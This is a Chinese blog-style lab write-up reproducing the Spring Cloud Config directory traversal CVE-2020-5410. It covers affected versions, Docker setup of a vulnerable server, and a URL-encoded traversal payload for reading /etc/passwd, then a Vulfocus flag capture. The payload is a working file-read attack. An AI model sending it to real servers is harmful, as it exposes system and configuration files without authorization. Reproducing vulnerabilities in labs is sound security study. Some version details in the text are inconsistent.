Spring Cloud Config 目录穿越漏洞(CVE-2020-5410)复现
漏洞介绍
Spring Cloud Config,2.2.3之前的2.2.x版本,2.1.9之前的2.1.x版本以及较旧的不受支持的版本允许应用程序通过spring-cloud-config-server模块提供任意配置文件。恶意用户或攻击者可以使用特制URL发送请求,这可能导致目录遍历攻击
影响版本
Spring Cloud Config: 2.2.0 to 2.2.2
Spring Cloud Config: 2.1.0 to 2.1.8
环境搭建
打开vulhub发现没有这个镜像,这边手动搭建,版本v2.2.2
docker环境部署:
docker pull hyness/spring-cloud-config-server:2.1.6.RELEASE
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-07COVBIT-1628391524375)(https://i.loli.net/2021/08/08/oJQTsiV84Mw36yY.png)]
再分别运行这三步
docker run -it --name=spring-cloud-config-server \
-p 8888:8888 \
hyness/spring-cloud-config-server:2.1.6.RELEASE \
–spring.cloud.config.server.git.uri=https://github.com/spring-cloud-samples/config-repo
然后访问自己地址的8888端口,我这里是192.168.89.130:8888,成功打开
这里的漏洞是get请求,这里直接用hackbar演示
poc:
..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252Fetc%252Fpasswd%23foo/development
但是这里失败了没东西出了,可能是文件目录搞错了,其实这里…%252F就是相当于…/ 上面要读取的就是etc/passwd
vulfocus复现
转到这里,找flag,在tmp目录下直接呈现,对应的只需要读取tmp,passwd部分的目录直接删去就可以了
参考:
https://xz.aliyun.com/t/7877
https://blog.csdn.net/qq_37602797/article/details/113886722